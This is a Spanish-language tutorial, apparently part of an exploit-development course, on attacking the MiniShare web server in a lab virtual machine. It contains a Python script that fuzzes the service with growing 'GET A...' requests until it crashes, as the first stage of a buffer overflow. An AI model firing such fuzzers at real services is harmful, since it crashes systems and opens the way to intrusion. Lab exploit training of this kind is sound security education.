Explicación

Con todo lo que hemos visto en esta sección vamos a explotar un binario llamado MiniShare que lo podemos descargar desde este link en la máquina virtual Windows, todo esto con el objetivo de reforzar todos los conocimientos que hemos aprendido.

Pasos a seguir

Una vez descargado e instalado el servicio MiniShare, lo que hará este es montarnos un servicio a través del puerto 80, esto lo podemos verificar si hacemos un escaneo simple con nmap, también si nos dirigimos desde nuestra máquina Linux a nuestro navegador y entramos a la web a través de la IP de la máquina windows veremos esto.

Nosotros en nuestro caso lo tendríamos que hacer por la herramienta telnet que usamos previamente en el anterior ejemplo, esto se debe a que lo tenemos que adecuar al empleo de la librería socket para python3.

  • telnet 192.168.0.120 80

Colocaríamos GET / HTTP/1.1 daríamos al ENTER y luego al ENTER de nuevo.

Fuzzing

Como siempre la primer etapa es el Fuzzing, por lo tanto lo que haremos será utilizar el Immunity Debugger para Attach al servicio MiniShare, de esta manera podremos ver todos los procesos a bajo nivel.

#!/usr/bin/python3
 
from struct import pack
import socket
import sys
import os
 
# Variables globales
ip_address = "192.168.0.120"
port = 80
 
def exploit():
    
    total_length = 100
 
    while True:
 
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(7)
 
            s.connect((ip_address, port))
 
            print("\n[+] Enviando %d bytes" % total_length)
 
            s.send(b"GET " + b"A"*total_length + b" HTTP/1.1\r\n\r\n")
            s.recv(1024)
            s.close()
 
            total_length += 100
 
        except:
            print("\n[!] El programa se ha detenido.")
            print("\n[i] Ha crasheado con un total de %d bytes" % total_length)
            sys.exit(1)
 
if __name__ == '__main__':
    
    exploit()
 

A partir de acá es cuestión de aplicar todo lo aprendido, suerte!